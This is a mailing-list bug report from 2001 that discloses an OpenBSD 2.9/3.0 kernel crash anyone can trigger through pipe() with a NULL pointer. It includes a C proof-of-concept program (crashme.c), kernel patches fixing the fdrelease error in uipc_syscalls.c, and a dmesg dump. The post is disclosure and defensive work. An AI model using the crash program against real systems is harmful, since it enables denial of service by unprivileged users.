[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Code that crashes kernel at will + proposed patch



Hi,

While I was coding away in userland I ran into a piece of code that will
crash the kernel regardless of user (root or non-root). I started
playing around with this and I found out that oBSD 2.9 & oBSD 3.0 are
both vulnerable (I don't have any earlier boxes but this will likely
crash them as well). I tried to isolate it and the shortest code I came
up with that always crashes the kernel is:

[root@corona src]# cat crashme.c
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/wait.h>
#include <signal.h>
#include <stdarg.h>
#include <syslog.h>

/* globals */
int fd[8]; /* temp pipe file descriptors */
int fd_real[4]; /* real pipe's */

static int __DEBUG__  = 0;
static int __SYSLOG__  = 0;

void enable_debug(void)
{
        __DEBUG__ = 1;
}

void disable_debug(void)
{
        __DEBUG__ = 0;
}

void enable_syslog(void)
{
        __SYSLOG__ = 1;
}

void disable_syslog(void)
{
        __SYSLOG__ = 0;
}

void s_fprintf(FILE *file, const char *fmt, ...)
{
        va_list ap;

        if (__DEBUG__) {
                fflush(file);

                va_start(ap, fmt);
                vfprintf(file, fmt, ap);
                va_end(ap);

                fflush(file);
        }

        if (__SYSLOG__) {
                va_start(ap, fmt);
                vsyslog(LOG_INFO, fmt, ap);
                va_end(ap);
        }
}

void *s_malloc(size_t size)
{
        char serr[40]; /* can not allocate more mem so lets use this
ugly beast */
        void *p;

        if (__DEBUG__ || __SYSLOG__) {
                s_fprintf(stderr, "PID=%-5i PPID=%-5i: malloc(%i)\n",
getpid(), getppid(), size);
        }

        if ((p = malloc(size)) == NULL ) {
                sprintf(serr,"PID=%i, Could not allocate memory",
getpid());
                perror(serr);
                exit(6);
        }

        return p;
}

void s_perror(const char *str)
{
        char *buf;

        if (__DEBUG__ || __SYSLOG__) {
                s_fprintf(stderr, "PID=%-5i PPID=%-5i: perror(%s)\n",
getpid(), getppid(), str);
        }

        buf = s_malloc(11 + strlen(str)); /* PID=%-5i = 11 chars */
        sprintf(buf, "PID=%-5i %s", getpid(), str);
        perror(buf);

        free(buf);
}

void s_pipe(int *fd)
{
        if (__DEBUG__ || __SYSLOG__) {
                s_fprintf(stderr, "PID=%-5i PPID=%-5i: pipe(%x)\n",
getpid(), getppid(), (unsigned int)fd);
        }

        if (pipe(fd) == -1)
        {
                s_perror("Could not create pipe");
                exit(3);
        }
}

int main(int argc, char **argv)
{
        enable_debug();
        enable_syslog();

        fprintf(stderr, "Before pipe\n");
        s_pipe(NULL); /* test if s_pipe exits */
        fprintf(stderr, "Will never reach this\n");

        return 0;
}

I also tried this:
[root@corona src]# cat a.c
int main(int argc, char **argv)
{
        if (pipe(0) == -1)
        {
                perror("kloink");
                exit(1);
        }
        return 0;
}
This does however not crash the kernel. That kind of explains why it
went undetected.

I tried to debug the kernel and I was partially successful at that. I
definitively need more practice at BSD kernel debugging ;) but I did
find what was wrong. We were releasing the user mode retval instead of
the *real* rval kernel mode values. And since retval was pointing at
NULL bad things happened.
Anyway here is the patch for 3.0:
[root@corona kern]# diff -u uipc_syscalls.c.old uipc_syscalls.c
--- uipc_syscalls.c.old Sun Dec  2 10:48:21 2001
+++ uipc_syscalls.c     Sun Dec  2 10:48:48 2001
@@ -903,8 +903,8 @@
        error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
            2 * sizeof (int));
        if (error) {
-               fdrelease(p, retval[0]);
-               fdrelease(p, retval[1]);
+               fdrelease(p, rval[0]);
+               fdrelease(p, rval[1]);
        }
        return (error);
 }

Here is the patch for 2.9:
[root@vuurmuur kern]# diff -u uipc_syscalls.c.old uipc_syscalls.c
--- uipc_syscalls.c.old Sun Dec  2 11:00:51 2001
+++ uipc_syscalls.c     Sun Dec  2 11:01:17 2001
@@ -886,8 +886,8 @@
        error = copyout((caddr_t)fds, (caddr_t)SCARG(uap, fdp),
            2 * sizeof (int));
        if (error) {
-               fdrelease(p, retval[0]);
-               fdrelease(p, retval[1]);
+               fdrelease(p, rval[0]);
+               fdrelease(p, rval[1]);
        }
        return (error);
 }

[root@corona root]# dmesg
OpenBSD 3.0-current (GENERIC) #5: Sun Dec  2 11:10:30 CST 2001
    root@corona:/usr/src/sys/arch/i386/compile/GENERIC
cpu0: Intel Pentium III (Coppermine) ("GenuineIntel" 686-class) 647 MHz
cpu0:
FPU,V86,DE,PSE,TSC,MSR,PAE,MCE,CX8,SYS,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,F
XSR,SIMD
real mem  = 402087936 (392664K)
avail mem = 366768128 (358172K)
using 4933 buffers containing 20205568 bytes (19732K) of memory
mainbus0 (root)
bios0 at mainbus0: AT/286+(00) BIOS, date 07/26/01, BIOS32 rev. 0 @
0xffe90
apm0 at bios0: Power Management spec V1.2
apm0: battery life expectancy 100%
apm0: AC on, battery charge high, estimated 5:51 hours
pcibios0 at bios0: rev. 2.1 @ 0xf0000/0x10000
pcibios0: PCI IRQ Routing Table rev. 1.0 @ 0xfbd20/128 (6 entries)
pcibios0: PCI Interrupt Router at 000:07:0 ("Intel 82371 PCI-ISA and
IDE" rev 0x00)
pcibios0: PCI bus #3 is the last bus
bios0: ROM list: 0xc0000/0x10000
pci0 at mainbus0 bus 0: configuration mode 1 (no bios)
pchb0 at pci0 dev 0 function 0 "Intel 82443BX PCI-AGP" rev 0x03
ppb0 at pci0 dev 1 function 0 "Intel 82443BX AGP" rev 0x03
pci1 at ppb0 bus 1
vga1 at pci1 dev 0 function 0 "ATI Mobility 1" rev 0x64
wsdisplay0 at vga1: console (80x25, vt100 emulation)
wsdisplay0: screen 1-5 added (80x25, vt100 emulation)
cbb0 at pci0 dev 3 function 0 "Texas Instruments PCI1225 PCI-CardBus"
rev 0x01: irq 11
cbb1 at pci0 dev 3 function 1 "Texas Instruments PCI1225 PCI-CardBus"
rev 0x01: irq 11
pcib0 at pci0 dev 7 function 0 "Intel 82371AB PIIX4 ISA" rev 0x02
pciide0 at pci0 dev 7 function 1 "Intel 82371AB IDE" rev 0x01: DMA,
channel 0 wired to compatibility, channel 1 wired to compatibility
wd0 at pciide0 channel 0 drive 0: <IC25N030ATDA04-0>
wd0: 16-sector PIO, LBA, 28615MB, 16383 cyl, 16 head, 63 sec, 58605120
sectors
wd0(pciide0:0:0): using PIO mode 4, Ultra-DMA mode 2
pciide0: channel 1 ignored (disabled)
uhci0 at pci0 dev 7 function 2 "Intel 82371AB USB" rev 0x01: irq 11
usb0 at uhci0: USB revision 1.0
uhub0 at usb0
uhub0: vendor 0x0000 UHCI root hub, class 9/0, rev 1.00/1.00, addr 1
uhub0: 2 ports with 2 removable, self powered
"Intel 82371AB Power Mgmt" rev 0x03 at pci0 dev 7 function 3 not
configured
"ESS Maestro 3" rev 0x10 at pci0 dev 8 function 0 not configured
cardslot0 at cbb0 slot 0 flags 0
cardbus0 at cardslot0: bus 2 device 0 cacheline 0x8, lattimer 0x20
pcmcia0 at cardslot0
cardslot1 at cbb1 slot 1 flags 0
cardbus1 at cardslot1: bus 3 device 0 cacheline 0x8, lattimer 0x20
pcmcia1 at cardslot1
isa0 at pcib0
isadma0 at isa0
pckbc0 at isa0 port 0x60/5
pckbd0 at pckbc0 (kbd slot)
pckbc0: using irq 1 for kbd slot
wskbd0 at pckbd0: console keyboard, using wsdisplay0
pms0 at pckbc0 (aux slot)
pckbc0: using irq 12 for aux slot
wsmouse0 at pms0 mux 0
pcppi0 at isa0 port 0x61
midi0 at pcppi0: <PC speaker>
sysbeep0 at pcppi0
lpt0 at isa0 port 0x378/4 irq 7
npx0 at isa0 port 0xf0/16: using exception 16
pccom0 at isa0 port 0x3f8/8 irq 4: ns16550a, 16 byte fifo
fdc0 at isa0 port 0x3f0/6 irq 6 drq 2
fd0 at fdc0 drive 0: 1.44MB 80 cyl, 2 head, 18 sec
biomask 4840 netmask 4840 ttymask 58c2
pctr: 686-class user-level performance counters enabled
mtrr: Pentium Pro MTRR support
dkcsum: wd0 matched BIOS disk 80
root on wd0a
rootdev=0x0 rrootdev=0x300 rawdev=0x302
an0 at pcmcia1 function 0 "Cisco Systems, 340 Series Wireless LAN
Adapter": address 00:40:96:44:e1:3b